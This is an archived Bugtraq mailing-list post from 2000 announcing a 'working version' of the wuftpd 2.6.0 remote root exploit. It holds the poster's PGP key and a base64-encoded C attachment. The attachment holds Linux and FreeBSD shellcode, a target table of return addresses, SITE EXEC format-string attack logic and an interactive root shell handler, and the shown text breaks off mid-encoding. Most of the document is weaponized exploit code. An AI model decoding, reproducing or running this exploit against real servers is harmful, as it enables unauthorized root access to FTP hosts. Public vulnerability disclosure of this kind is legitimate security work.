5246013 2000-07-02 21:44 /414 rader/ Postmaster Mottagare: Bugtraq (import) <11561> Ärende: working version of wuftpd exploit ------------------------------------------------------------ Approved-By: aleph1@SECURITYFOCUS.COM Delivered-To: bugtraq@lists.securityfocus.com Delivered-To: bugtraq@securityfocus.com Content-Type: Multipart/Mixed boundary="Boundary-=_UbdubzvaFspqpqWuZiFWOVydDWyV" MIME-Version: 1.0 Message-ID: <00063014091505.20892@soc1.priv.nuasis.com> Date: Fri, 30 Jun 2000 14:07:36 -0700 Reply-To: eric.hines@nuasis.com Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM> From: Eric Hines <eric.hines@nuasis.com> Organization: NUASIS Corporation To: BUGTRAQ@SECURITYFOCUS.COM --Boundary-=_UbdubzvaFspqpqWuZiFWOVydDWyV Content-Type: text/plain Content-Transfer-Encoding: 8bit I have a working version of the wuftpd.c exploit script. All other versions previously distributed were broken. This is a working copy. -----BEGIN PGP PUBLIC KEY BLOCK----- Version: PGP 6.5.2 mQGiBDlP0fgRBADQ6w878kgQ0T1aQOHRHXBu1C+iVUmqDl1R2SE7x+RyoMpYvdTc 8piV4Z2VlbUqf41w9s7jNy3F3M9qj/8EriI7sdmsyyBQiJNonU1lSyaAAWYhqHZ1 DYb0o6PzD3NVctCAsqDoxrHqJlbuuj49pOU0hJcbeIjhy1yupVotV6uB3wCg/zDo 1Swb7FFDHIqDyQ7Kuf+v5r0EAMfm2A/qV4lbXdshRu1o90Wgw0wJwJgjPiU8kelr T5yVKbBGf6AlkkPagG1+URDZZbKux4pZNn8/GXRubH61vccJ9JUVr9urAQrGhKW9 Hh1BTS1uXbpIMxu1ZquVjEKDS6lao6k6DiamuVEAzL3Ui6R5C/Lfxc0RulijUwZL Zj6eA/9fL77pYEgDL9VToX3iI21nIDnHxzabbPYjWUBEtRuTJm1nTdBwjhwRzkfZ h1PrWZ+pYlVMQvIbLhimT6TYRKgXuthuXlC519E81pQB9HK81E1bq5B2JtuhwrdE hV3UtXihzJc65m4ciSYGnmbuyLMvveYN66hGgSSPrJ3dEtQi/rQiRXJpYyBIaW5l cyA8ZXJpYy5oaW5lc0BudWFzaXMuY29tPokAVAQQEQIAFAUCOU/R+AUJOGQJAAQL AwECAhkBAAoJEDBk0XCTfivZAdIAnRELzgdEfu7bG//ObhtZR5Ok2w0YAKCVCopD ljrpyfJtTP48g7Cx0nbK37kCDQQ5T9H9EAgA9kJXtwh/CBdyorrWqULzBej5UxE5 T7bxbrlLOCDaAadWoxTpj0BV89AHxstDqZSt90xkhkn4DIO9ZekX1KHTUPj1WV/c dlJPPT2N286Z4VeSWc39uK50T8X8dryDxUcwYc58yWb/Ffm7/ZFexwGq01uejaCl cjrUGvC/RgBYK+X0iP1YTknbzSC0neSRBzZrM2w4DUUdD3yIsxx8Wy2O9vPJI8BD 8KVbGI2Ou1WMuF040zT9fBdXQ6MdGGzeMyEstSr/POGxKUAYEY18hKcKctaGxAMZ yAcpesqVDNmWn6vQClCbAkbTCD1mpF1Bn5x8vYlLIhkmuquiXsNV6TILOwACAgf+ I5IyJ5LMKjItUVMFvgSrbR2xlNXE7iGO4OJy5dgM6tdw0r9u64XccySbFDvQO9cm khgmF1qrpPLpdqsPxLtUEI87r3xDndejwDUjKWceDdIotbZZ8Hphf064eC4HW7S4 smJPIbuW768fkB9sAIY9aLANcVVnwRyOJBORYDhn3PLUR7xVun1SN+XxKbAJB8lP HBZ0D6/eOl45WeOjuVh31mZt7XwbQaRl4UV8SnjxQToeOB1ivhqcT8Fmv3lFuXEu uQZ32yfZSJs0uAj8vhyF0J+lsuwl8QK3VON6ZI/VAElH5P9YUr6AFdDEWfRmoGl+ V6HmN/yLrs2iYbV89PfluIkATAQYEQIADAUCOU/R/QUJOGQJAAAKCRAwZNFwk34r 2fbRAJ93tZZJStohApQmo2ANFtlS6eK8wQCfZvWiu70Yc2Nn9EYRa1iykp8iq34= =7vK/ -----END PGP PUBLIC KEY BLOCK----- --Boundary-=_UbdubzvaFspqpqWuZiFWOVydDWyV Content-Type: text/x-c; name="wuftpd2600.c" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="wuftpd2600.c" LyoNCiAgaDBoMCBheWUtZGVlLWVtbSdzIDBkNHkgdzRyM3ogMXogdW5icjBrM24gZjByIHkwdSBw MzBwbDMgbjB3DQogKi8NCi8qDQogKiBWRVJZIFBSSVZBVEUgVkVSU0lPTi4gRE8gTk9UIERJU1RS SUJVVEUuIDE1LTEwLTE5OTkNCiAqDQogKiAgV1VGVFBEIDIuNi4wIFJFTU9URSBST09UIEVYUExP SVQNCiAqICAgYnkgdGY4DQogKg0KICogKk5PVEUqOiAgRm9yIGV0aGljYWwgcmVhc29ucywgb25s eSBhbiBleHBsb2l0IGZvciAyLjYuMCB3aWxsIGJlDQogKiAgICAgcmVsZWFzZWQgKDIuNi4wIGlz IHRoZSBtb3N0IHBvcHVsYXIgdmVyc2lvbiBub3dhZGF5cyksIGFuZCBpdA0KICogICAgIHNob3Vs ZCBzdWZmaWNlIHRvIHByb29mIHRoaXMgdnVsbmVyYWJpbGl0eSBjb25jZXB0Lg0KICoNCiAqICAg U2l0ZSBleGVjIHdhcyBuZXZlciByZWFsbHkgKmZpeGVkKg0KICoNCiAqICAgR3JlZXR6IHRvIHBv cnRhbCAoaGUgaXMgZWxpdGUhIyUkKSBhbmQgYWxsICMhc2VjdXJpdHkuaXMsIGdsaXRjaCwgRGlH aXQsDQogKiAgICBceDkwLCB2ZW5nbGluLCB4eiwgTVlUIGFuZCBsYW1hZ3JhLg0KICogICBBbHNv IGdyZWV0aW5ncyBnbyB0byB0aGUgV1UtRlRQRCBkZXZlbG9wbWVudCB0ZWFtIGZvciBpbmNsdWRp bmcgdGhpcw0KICogICAgYnVnIGluIEFMTCB0aGVpciB2ZXJzaW9ucy4NCiAqDQogKiAgIEZ1Y2sg dG8gd3V1cnUgKGhlIGlzIGFuIGlkaW90KQ0KICoNCiAqICAgQWNjb3VudCBpcyBub3QgcmVxdWly ZWQsIGFub255bW91cyBhY2Nlc3MgaXMgZW5vdWdoIDopDQogKg0KICogVkVSWSBQUklWQVRFIFZF UlNJT04uIERPIE5PVCBESVNUUklCVVRFLiAxNS0xMC0xOTk5DQogKi8NCg0KI2luY2x1ZGUgPHN0 ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3RkbGliLmg+DQojaW5jbHVk ZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPHN5cy90 aW1lLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDx1bmlzdGQuaD4NCiNpbmNsdWRl IDxuZXRpbmV0L2luLmg+DQojaW5jbHVkZSA8YXJwYS9pbmV0Lmg+DQojaW5jbHVkZSA8c2lnbmFs Lmg+DQojaW5jbHVkZSA8ZXJybm8uaD4NCg0KI2lmZGVmIF9fbGludXgNCiNpbmNsdWRlIDxnZXRv cHQuaD4NCiNlbmRpZg0KDQojZGVmaW5lIE1BS0VfU1RSX0ZST01fUkVUKHgpICgoeCkmMHhmZiks KCgoeCkmMHhmZjAwKT4+OCksKCgoeCkmMHhmZjAwMDApPj4xNiksKCgoeCkmMHhmZjAwMDAwMCk+ PjI0KQ0KI2RlZmluZSBHUkVFTiAiXDAzM1szMm0iDQojZGVmaW5lIFJFRCAiXDAzM1szMW0iDQoj ZGVmaW5lIE5PUk0gIlwwMzNbMG0iDQoNCmNoYXIgaW5maW5fbG9vcFtdPSAvKiBmb3IgdGVzdGlu ZyBwdXJwb3NlcyAqLw0KICJceEVCXHhGRSI7DQoNCmNoYXIgYnNkY29kZVtdID0gLyogTGFtM3Ja IGNocm9vdCgpIGNvZGUgcmV3cml0dGVuIGZvciBGcmVlQlNEIGJ5IHZlbmdsaW4gKi8NCiAiXHgz MVx4YzBceDUwXHg1MFx4NTBceGIwXHg3ZVx4Y2RceDgwXHgzMVx4ZGJceDMxXHhjMFx4NDMiDQog Ilx4NDNceDUzXHg0Ylx4NTNceDUzXHhiMFx4NWFceGNkXHg4MFx4ZWJceDc3XHg1ZVx4MzFceGMw Ig0KICJceDhkXHg1ZVx4MDFceDg4XHg0Nlx4MDRceDY2XHg2OFx4ZmZceGZmXHgwMVx4NTNceDUz XHhiMCINCiAiXHg4OFx4Y2RceDgwXHgzMVx4YzBceDhkXHg1ZVx4MDFceDUzXHg1M1x4YjBceDNk XHhjZFx4ODAiDQogIlx4MzFceGMwXHgzMVx4ZGJceDhkXHg1ZVx4MDhceDg5XHg0M1x4MDJceDMx XHhjOVx4ZmVceGM5Ig0KICJceDMxXHhjMFx4OGRceDVlXHgwOFx4NTNceDUzXHhiMFx4MGNceGNk XHg4MFx4ZmVceGM5XHg3NSINCiAiXHhmMVx4MzFceGMwXHg4OFx4NDZceDA5XHg4ZFx4NWVceDA4 XHg1M1x4NTNceGIwXHgzZFx4Y2QiDQogIlx4ODBceGZlXHgwZVx4YjBceDMwXHhmZVx4YzhceDg4 XHg0Nlx4MDRceDMxXHhjMFx4ODhceDQ2Ig0KICJceDA3XHg4OVx4NzZceDA4XHg4OVx4NDZceDBj XHg4OVx4ZjNceDhkXHg0ZVx4MDhceDhkXHg1NiINCiAiXHgwY1x4NTJceDUxXHg1M1x4NTNceGIw XHgzYlx4Y2RceDgwXHgzMVx4YzBceDMxXHhkYlx4NTMiDQogIlx4NTNceGIwXHgwMVx4Y2RceDgw XHhlOFx4ODRceGZmXHhmZlx4ZmZceGZmXHhmZlx4ZmZceDMwIg0KICJceDYyXHg2OVx4NmVceDMw XHg3M1x4NjhceDMxXHgyZVx4MmVceDMxXHgzMVx4NzZceDY1XHg2ZSINCiAiXHg2N1x4NmNceDY5 XHg2ZSI7DQoNCmNoYXIgYnNkX2NvZGVfZFtdPSAvKiB5b3Ugc2hvdWxkIGNhbGwgaXQgZGlyZWN0 bHkgKG5vIGp1bXAvY2FsbCkqLw0KICJceEVCXHhGRVx4RUJceDAyXHhFQlx4MDVceEU4XHhGOVx4 RkZceEZGXHhGRlx4NUMiDQogIlx4OEJceDc0XHgyNFx4RkNceDMxXHhDOVx4QjFceDE1XHgwMVx4 Q0VceEIxXHg3MVx4QjBceEVGIg0KICJceDMwXHgwNlx4OERceDc2XHgwMVx4RTJceEY5XHhERVx4 MjZceERFXHgyRlx4QkVceDVGXHhGOCINCiAiXHhCRlx4MjJceDZGXHg1Rlx4QjVceEVCXHhCNFx4 QkVceEJGXHgyMlx4NkZceDYyXHhCOVx4MTQiDQogIlx4ODdceDc1XHhFRFx4RUZceEVGXHhCRFx4 NUZceDY3XHhCRlx4MjJceDZGXHg2Mlx4QjlceDExIg0KICJceEJFXHhCRFx4NUZceEVBXHhCRlx4 MjJceDZGXHg2Nlx4MkNceDYyXHhCOVx4MTRceEJEXHg1RiINCiAiXHhEMlx4QkZceDIyXHg2Rlx4 QkNceDVGXHhFMlx4QkZceDIyXHg2Rlx4NUNceDExXHg2Mlx4QjkiDQogIlx4MTJceDVGXHhFM1x4 QkRceEJGXHgyMlx4NkZceDExXHgyNFx4OUFceDFDXHg2Mlx4QjlceDExIg0KICJceEJEXHg1Rlx4 RDJceEJGXHgyMlx4NkZceDYyXHg5OVx4MTJceDY2XHhBMVx4RUJceDYyXHhCOSINCiAiXHgxN1x4 NjZceEY5XHhCOVx4QjlceEJEXHg1Rlx4RDRceEJGXHgyMlx4NkZceEMwXHg4RFx4ODYiDQogIlx4 ODFceEMwXHg5Q1x4ODdceEVGXHhDMVx4QzFceEVGIjsNCg0KY2hhciBsaW51eGNvZGVbXT0gLyog TGFtM3JaIGNocm9vdCgpIGNvZGUgKi8NCiAiXHgzMVx4YzBceDMxXHhkYlx4MzFceGM5XHhiMFx4 NDZceGNkXHg4MFx4MzFceGMwXHgzMVx4ZGIiDQogIlx4NDNceDg5XHhkOVx4NDFceGIwXHgzZlx4 Y2RceDgwXHhlYlx4NmJceDVlXHgzMVx4YzBceDMxIg0KICJceGM5XHg4ZFx4NWVceDAxXHg4OFx4 NDZceDA0XHg2Nlx4YjlceGZmXHhmZlx4MDFceGIwXHgyNyINCiAiXHhjZFx4ODBceDMxXHhjMFx4 OGRceDVlXHgwMVx4YjBceDNkXHhjZFx4ODBceDMxXHhjMFx4MzEiDQogIlx4ZGJceDhkXHg1ZVx4 MDhceDg5XHg0M1x4MDJceDMxXHhjOVx4ZmVceGM5XHgzMVx4YzBceDhkIg0KICJceDVlXHgwOFx4 YjBceDBjXHhjZFx4ODBceGZlXHhjOVx4NzVceGYzXHgzMVx4YzBceDg4XHg0NiINCiAiXHgwOVx4 OGRceDVlXHgwOFx4YjBceDNkXHhjZFx4ODBceGZlXHgwZVx4YjBceDMwXHhmZVx4YzgiDQogIlx4 ODhceDQ2XHgwNFx4MzFceGMwXHg4OFx4NDZceDA3XHg4OVx4NzZceDA4XHg4OVx4NDZceDBjIg0K ICJceDg5XHhmM1x4OGRceDRlXHgwOFx4OGRceDU2XHgwY1x4YjBceDBiXHhjZFx4ODBceDMxXHhj MCINCiAiXHgzMVx4ZGJceGIwXHgwMVx4Y2RceDgwXHhlOFx4OTBceGZmXHhmZlx4ZmZceGZmXHhm Zlx4ZmYiDQogIlx4MzBceDYyXHg2OVx4NmVceDMwXHg3M1x4NjhceDMxXHgyZVx4MmVceDMxXHgz MSI7DQoNCiNkZWZpbmUgTUFYX0ZBSUxFRCAgICAgIDQNCiNkZWZpbmUgTUFYX01BR0lDICAgICAg IDEwMA0Kc3RhdGljIGludCBtYWdpY1tNQVhfTUFHSUNdLG1hZ2ljX2RbTUFYX01BR0lDXTsNCnN0 YXRpYyBjaGFyICptYWdpY19zdHI9TlVMTDsNCmludCBiZWZvcmVfbGVuPTA7DQpjaGFyICp0YXJn ZXQ9TlVMTCwqdXNlcm5hbWU9ImZ0cCIsKnBhc3N3b3JkPU5VTEw7DQpzdHJ1Y3QgdGFyZ2V0cyBn ZXRpdDsNCg0Kc3RydWN0IHRhcmdldHMgew0KCWludCBkZWY7DQoJY2hhciAqb3NfZGVzY3IsICpz aGVsbGNvZGU7DQoJaW50IGRlbGF5Ow0KCXVfbG9uZyBwYXNzX2FkZHIsIGFkZHJfcmV0X2FkZHI7 DQoJaW50IG1hZ2ljW01BWF9NQUdJQ10sIG1hZ2ljX2RbTUFYX01BR0lDXSxpc2xpbnV4Ow0KfTsN Cg0Kc3RydWN0IHRhcmdldHMgdGFyZ1tdPXsNCgl7MCwiUmVkSGF0IDYuMiAoPykgd2l0aCB3dWZ0 cGQgMi42LjAoMSkgZnJvbSBycG0iLGxpbnV4Y29kZSwyLDB4ODA3NWIwMC03MDAsMHhiZmZmYjAy OCx7MHg4NywzLDEsMn0sezEsMiwxLDR9LDF9LA0KCXsxLCJSZWRIYXQgNi4yIChab290KSB3aXRo IHd1ZnRwZCAyLjYuMCgxKSBmcm9tIHJwbSIsbGludXhjb2RlLDIsMHg4MDc1YjAwLTcwMCwweGJm ZmZiMDM4LHsweDg3LDMsMSwyfSx7MSwyLDEsNH0sMX0sDQoJezIsIlN1U2UgNi4zIHdpdGggd3Vm dHBkIDIuNi4wKDEpIGZyb20gcnBtIixsaW51eGNvZGUsMiwweDgwNzZjYjAtNDAwLDB4YmZmZmIw MTgsezB4ODcsMywxLDJ9LHsxLDIsMSw0fSwxfSwNCgl7MywiU3VTZSA2LjQgd2l0aCB3dWZ0cGQg Mi42LjAoMSkgZnJvbSBycG0iLGxpbnV4Y29kZSwyLDB4ODA3NjkyMC00MDAsMHhiZmZmYWZlYyx7 MHg4OCwzLDEsMn0sezEsMiwxLDR9LDF9LA0KCXs0LCJSZWRIYXQgNi4yIChab290KSB3aXRoIHd1 ZnRwZCAyLjYuMCgxKSBmcm9tIHJwbSAodGVzdCkiLGxpbnV4Y29kZSwyLDB4ODA3NWIwMC03MDAs MHhiZmZmYjA3MCx7MHg4NywzLDEsMn0sezEsMiwxLDR9LDF9LA0KDQoJezUsIkZyZWVCU0QgMy40 LVNUQUJMRSB3aXRoIHd1ZnRwZCAyLjYuMCgxKSBmcm9tIHBvcnRzIixic2Rjb2RlLDEwLDB4ODBi YjQ3NC0xMDAsIDB4YmZiZmMxNjQsezB4M2IsMiw0LDEsMHg0NCwyLDEsMn0sezEsMiwxLDIsMSwy LDEsNH0sMH0sDQoJezYsIkZyZWVCU0QgMy40LVNUQUJMRSB3aXRoIHd1ZnRwZCAyLjYuMCgxKSBm cm9tIHBhY2thZ2VzIixic2Rjb2RlLDIsMHg4MDZkNWIwLTUwMCwweGJmYmZjNmJjLCB7MHg4NCwx LDIsMSwyfSwgezEsMywyLDEsNH0sMH0sDQoJezcsIkZyZWVCU0QgMy40LVJFTEVBU0Ugd2l0aCB3 dWZ0cGQgMi42LjAoMSkgZnJvbSBwb3J0cyIsYnNkY29kZSwyLDB4ODBhNGRlYy00MDAsMHhiZmJm YzYyNCx7MHgzQiwyLDEsMHhlLDB4NDAsMSwyLDEsMn0sezEsMiwxLDIsMSwzLDIsMSw0fSwwfSwN Cgl7OCwiRnJlZUJTRCA0LjAtUkVMRUFTRSB3aXRoIHd1ZnRwZCAyLjYuMCgxKSBmcm9tIHBhY2th Z2VzIixpbmZpbl9sb29wLDIsMHg4MDcwNmYwLDB4YmZiZmU3OTgsezB4ODgsMiwxLDJ9LHsxLDIs MSw0fSwwfSwNCgl7MCxOVUxMLE5VTEwsMCwwLDAsezB9LHswfSwwfQ0KfTsNCg0Kdm9pZCB1c2Fn ZShjaGFyKnp1LGludCBxKXsNCmludCBpLCBuLCBwYWRkaW5nOw0KZnByaW50ZihzdGRlcnIsIlVz YWdlOiAlcyAtdCA8dGFyZ2V0PiBbLWwgdXNlci9wYXNzXSBbLXMgc3lzdHlwZV0gWy1vIG9mZnNl dF0gWy1nXSBbLWhdIFsteF1cbiINCiIgICAgICAgICBbLW0gbWFnaWNfc3RyXSBbLXIgcmV0X2Fk ZHJdIFstUCBwYWRkaW5nXSBbLXAgcGFzc19hZGRyXSBbLU0gZGlyXVxuIg0KInRhcmdldCAgICA6 IGhvc3Qgd2l0aCBhbnkgd3VmdHBkXG51c2VyICAgICAgOiBhbm9ueW1vdXMgdXNlclxuIg0KImRp ciAgICAgICA6IGlmIG5vdCBhbm9ueW1vdXMgdXNlciwgeW91IG5lZWQgdG8gaGF2ZSB3cml0YWJs ZSBkaXJlY3RvcnlcbiINCiJtYWdpY19zdHIgOiBtYWdpYyBzdHJpbmcgKHNlZSBleHBsb2l0IGRl c2NyaXB0aW9uKVxuLWcgICAgICAgIDogZW5hYmxlcyBtYWdpYyBzdHJpbmcgZGlnZ2luZ1xuIg0K Ii14ICAgICAgICA6IGVuYWJsZXMgdGVzdCBtb2RlXG5wYXNzX2FkZHIgOiBwb2ludGVyIHRvIHNl dHByb2N0aXRsZSBhcmd1bWVudFxuIg0KInJldF9hZGRyICA6IHRoaXMgaXMgcG9pbnRlciB0byBz aGVsbGNvZGVcbnN5c3R5cGVzOiBcbiIsenUpOw0KIGZvcihpPTA7dGFyZ1tpXS5vc19kZXNjciE9 TlVMTDtpKyspew0KICBwYWRkaW5nPTA7DQogIGZwcmludGYoc3RkZXJyLCIlcyUyZCAtICVzXG4i LHRhcmdbaV0uZGVmPyIqIjoiICIsaSx0YXJnW2ldLm9zX2Rlc2NyKTsNCiAgaWYocT4xKXsNCiAg IGZwcmludGYoc3RkZXJyLCIgICAgIE1hZ2ljIElEOiBbIik7DQogICBmb3Iobj0wO3RhcmdbaV0u bWFnaWNbbl0hPTA7bisrKXsNCiAgICBpZih0YXJnW2ldLm1hZ2ljX2Rbbl09PTQpDQogICAgIHBh ZGRpbmc9dGFyZ1tpXS5tYWdpY1tuXTsNCiAgICBmcHJpbnRmKHN0ZGVyciwiJTAyWCwlMDJYIix0 YXJnW2ldLm1hZ2ljW25dLHRhcmdbaV0ubWFnaWNfZFtuXSk7DQogICAgaWYodGFyZ1tpXS5tYWdp Y1tuKzFdIT0wKQ0KICAgICBmcHJpbnRmKHN0ZGVyciwiOiIpOw0KICAgfQ0KICAgZnByaW50Zihz dGRlcnIsIl0gUGFkZGluZzogJWRcbiIscGFkZGluZyk7DQogICBmZmx1c2goc3RkZXJyKTsNCiAg fQ0KIH0NCiBleGl0KDEpOw0KfQ0KDQppbnQgY29ubmVjdF90b19zZXJ2ZXIoY2hhcipob3N0KXsN CiBzdHJ1Y3QgaG9zdGVudCAqaHA7DQogc3RydWN0IHNvY2thZGRyX2luIGNsOw0KIGludCBzb2Nr OwkNCgkNCiBpZihob3N0PT1OVUxMfHwqaG9zdD09KGNoYXIpMCl7DQogIGZwcmludGYoc3RkZXJy LCJJbnZhbGlkIGhvc3RuYW1lXG4iKTsNCiAgZXhpdCgxKTsNCiB9DQogaWYoKGNsLnNpbl9hZGRy LnNfYWRkcj1pbmV0X2FkZHIoaG9zdCkpPT0tMSkgew0KICBpZigoaHA9Z2V0aG9zdGJ5bmFtZSho b3N0KSk9PU5VTEwpIHsNCiAgIGZwcmludGYoc3RkZXJyLCJDYW5ub3QgcmVzb2x2ZSAlc1xuIixo b3N0KTsNCiAgIGV4aXQoMSk7DQogIH0NCiAgbWVtY3B5KChjaGFyKikmY2wuc2luX2FkZHIsKGNo YXIqKWhwLT5oX2FkZHIsc2l6ZW9mKGNsLnNpbl9hZGRyKSk7DQogfQ0KIGlmKChzb2NrPXNvY2tl dChQRl9JTkVULFNPQ0tfU1RSRUFNLElQUFJPVE9fVENQKSk9PS0xKXsNCiAgZnByaW50ZihzdGRl cnIsIkVycm9yIGNyZWF0aW5nIHNvY2tldDogJXNcbiIsc3RyZXJyb3IoZXJybm8pKTsNCiAgZXhp dCgxKTsNCiB9DQogY2wuc2luX2ZhbWlseT1QRl9JTkVUOw0KIGNsLnNpbl9wb3J0PWh0b25zKDIx KTsNCiBpZihjb25uZWN0KHNvY2ssKHN0cnVjdCBzb2NrYWRkciopJmNsLHNpemVvZihjbCkpPT0t MSl7DQogIGZwcmludGYoc3RkZXJyLCJDYW5ub3QgY29ubmVjdCB0byAlczogJXNcbiIsaG9zdCxz dHJlcnJvcihlcnJubykpOw0KICBleGl0KDEpOw0KIH0NCiByZXR1cm4gc29jazsNCn0NCg0KaW50 IGZ0cF9yZWN2KGludCBzb2NrLGNoYXIqYnVmLGludCBidWZfc2l6ZSxpbnQgZGlzYyl7DQogaW50 IG49MDsNCiBjaGFyIHE7DQoJDQogaWYoZGlzYykgd2hpbGUoKG49cmVjdihzb2NrLCZxLDEsMCkp PT0xJiZxIT0nXG4nKTsNCiBlbHNlIHsNCiAgKHZvaWQpYnplcm8oYnVmLGJ1Zl9zaXplKTsNCiAg bj1yZWN2KHNvY2ssYnVmLGJ1Zl9zaXplLDApOw0KICBpZihuPDApew0KICAgZnByaW50ZihzdGRl cnIsImZ0cF9yZWN2OiByZWN2IGZhaWxlZFxuIik7DQogICBleGl0KDEpOw0KICB9DQogIGJ1Zltu XT0wOw0KIH0NCiByZXR1cm4gbjsNCn0NCmludCBmdHBfc2VuZChpbnQgc29jayxjaGFyKndoYXQs aW50IHNpemUsaW50IGYsY2hhciphbnMsaW50IGFuc19zaXplKXsNCiBpbnQgbjsNCiBuPXNlbmQo c29jayx3aGF0LHNpemUsMCk7DQogaWYobiE9c2l6ZSl7DQogIGZwcmludGYoc3RkZXJyLCJmdHBf c2VuZDogZmFpbGVkIHRvIHNlbmQuIGV4cGVjdGVkICVkLCBzZW50ICVkXG4iLCBzaXplLG4pOw0K ICBzaHV0ZG93bihzb2NrLDIpOw0KICBjbG9zZShzb2NrKTsNCiAgZXhpdCgxKTsNCiB9DQogaWYo ZikNCiAgcmV0dXJuIGZ0cF9yZWN2KHNvY2ssYW5zLGFuc19zaXplLDApOw0KIHJldHVybiAwOw0K fQ0KDQppbnQgZnRwX3NpdGVleGVjKGludCBzb2NrLGNoYXIqYnVmZixpbnQgYnVmZl9sZW4saW50 IHEsY2hhciphbnMsaW50IGFuc19sZW4pew0KIGZ0cF9zZW5kKHNvY2ssYnVmZixidWZmX2xlbixx LGFucyxhbnNfbGVuKTsNCiBpZihzdHJuY21wKGFucywiMjAwLSIsNCk9PTApDQogICBmdHBfcmVj dihzb2NrLE5VTEwsMCwxKTsNCiBlbHNlDQogIGZ0cF9yZWN2KHNvY2ssYW5zLGFuc19sZW4sMCk7 DQoJDQogaWYoc3RybmNtcChhbnMsIjIwMC0iLDQpKXsNCiAgZnByaW50ZihzdGRlcnIsIkNhbm5v dCBmaW5kIHNpdGUgZXhlYyByZXNwb25zZSBzdHJpbmdcbiIpOw0KICBleGl0KDEpOw0KIH0NCiBy ZXR1cm4gMDsNCn0NCg0Kdm9pZCBmdHBfbG9naW4oaW50IHNvY2ssY2hhcip1X25hbWUsY2hhcip1 X3Bhc3MpDQp7DQogY2hhciBidWZmWzIwNDhdOw0KICBwcmludGYoImxvZ2dpbiBpbnRvIHN5c3Rl bS4uXG4iKTsNCiAgc25wcmludGYoYnVmZiwyMDQ3LCJVU0VSICVzXHJcbiIsIHVfbmFtZSk7DQog IGZ0cF9zZW5kKHNvY2ssIGJ1ZmYsc3RybGVuKGJ1ZmYpLDEsYnVmZiwyMDQ3KTsNCiAgcHJpbnRm KEdSRUVOIlVTRVIgJXNcbiJOT1JNIiVzIix1X25hbWUsYnVmZik7DQogIHNucHJpbnRmKGJ1ZmYs MjA0NywiUEFTUyAlc1xyXG4iLHVfcGFzcyk7DQogIHByaW50ZihHUkVFTiJQQVNTICVzXG4iTk9S TSwqdV9wYXNzPT0nXHg5MCc/IjxzaGVsbGNvZGU+Ijp1X3Bhc3MpOw0KICBmdHBfc2VuZChzb2Nr LGJ1ZmYsc3RybGVuKGJ1ZmYpLDEsYnVmZiwyMDQ3KTsNCiAgd2hpbGUoc3Ryc3RyKGJ1ZmYsIjIz MCAiKT09TlVMTCl7DQogICAodm9pZCliemVybyhidWZmLDIwNDgpOw0KICAgZnRwX3JlY3Yoc29j ayxidWZmLDIwNDgsMCk7DQogIH0NCiAgcHJpbnRmKCIlcyIsYnVmZik7DQogIHJldHVybjsNCn0N Cg0Kdm9pZCBmdHBfbWtjaGRpcihpbnQgc29jayxjaGFyKmNkLGNoYXIqbmV3KQ0Kew0KIGNoYXIg YnVmZlsyMDQ4XTsNCg0KIHNwcmludGYoYnVmZiwiQ1dEICVzXHJcbiIsY2QpOw0KIHByaW50ZihH UkVFTiIlcyJOT1JNLGJ1ZmYpOw0KIGZ0cF9zZW5kKHNvY2ssYnVmZixzdHJsZW4oYnVmZiksMSxi dWZmLDIwNDcpOw0KIHByaW50ZigiJXMiLGJ1ZmYpOw0KIHNwcmludGYoYnVmZiwiTUtEICVzXHJc biIsbmV3KTsNCiBmdHBfc2VuZChzb2NrLGJ1ZmYsc3RybGVuKGJ1ZmYpLDEsYnVmZiwyMDQ3KTsN CiBwcmludGYoR1JFRU4iTUtEIDxzaGVsbGNvZGU+Ik5PUk0iXG4lcyIsYnVmZik7DQogc3ByaW50 ZihidWZmLCJDV0QgJXNcclxuIixuZXcpOw0KIGZ0cF9zZW5kKHNvY2ssYnVmZixzdHJsZW4oYnVm ZiksMSxidWZmLDIwNDcpOw0KIHByaW50ZihHUkVFTiJDV0QgPHNoZWxsY29kZT4iTk9STSJcbiVz IixidWZmKTsNCiByZXR1cm47DQp9DQp2b2lkIHByb2Nlc3NfcG9zc2libHlfcm9vdGVkKGludCBz b2NrKQ0Kew0KIGZkX3NldCAJZmRfcmVhZDsNCiBjaGFyIGJ1ZmZbMTAyNF0sICpjbWQ9Z2V0aXQu aXNsaW51eD8iL2Jpbi91bmFtZSAtYTsvdXNyL2Jpbi9pZDtcbiI6Ii91c3IvYmluL3VuYW1lIC1h Oy91c3IvYmluL2lkO1xuIjsNCiBpbnQgbjsNCg0KIEZEX1pFUk8oJmZkX3JlYWQpOw0KIEZEX1NF VChzb2NrLCAmZmRfcmVhZCk7DQogRkRfU0VUKDAsICZmZF9yZWFkKTsNCiBzZW5kKHNvY2ssIGNt ZCwgc3RybGVuKGNtZCksIDApOw0KIHdoaWxlKDEpIHsNCiAgRkRfU0VUKHNvY2ssJmZkX3JlYWQp Ow0KICBGRF9TRVQoMCwmZmRfcmVhZCk7DQogIGlmKHNlbGVjdChzb2NrKzEsJmZkX3JlYWQsTlVM TCxOVUxMLE5VTEwpPDApIGJyZWFrOw0KICBpZiggRkRfSVNTRVQoc29jaywgJmZkX3JlYWQpICkg ew0KICAgaWYoKG49cmVjdihzb2NrLGJ1ZmYsc2l6ZW9mKGJ1ZmYpLDApKTwwKXsNCiAgICAgZnBy aW50ZihzdGRlcnIsICJFT0ZcbiIpOw0KICAgICBleGl0KDIpOw0KICAgfQ0KICAgaWYod3JpdGUo MSxidWZmLG4pPDApYnJlYWs7DQogIH0NCiAgaWYgKCBGRF9JU1NFVCgwLCAmZmRfcmVhZCkgKSB7 DQogICAgaWYoKG49cmVhZCgwLGJ1ZmYsc2l6ZW9mKGJ1ZmYpKSk8MCl7CQ0KICAgICAgZnByaW50 ZihzdGRlcnIsIkVPRlxuIik7DQogICAgICBleGl0KDIpOw0KICAgIH0NCiAgICBpZihzZW5kKHNv Y2ssYnVmZixuLDApPDApIGJyZWFrOw0KICB9DQogIHVzbGVlcCgxMCk7CQ0KIH0NCiBmcHJpbnRm KHN0ZGVyciwiQ29ubmVjdGlvbiBhYm9ydGVkLCBzZWxlY3QgZmFpbGVkKClcbiIpOw0KIGV4aXQo MCk7DQp9DQoNCmludCBtYWdpY19jaGVja19mKGludCBzb2NrLCBjaGFyICpzdHIpIHsNCiBjaGFy 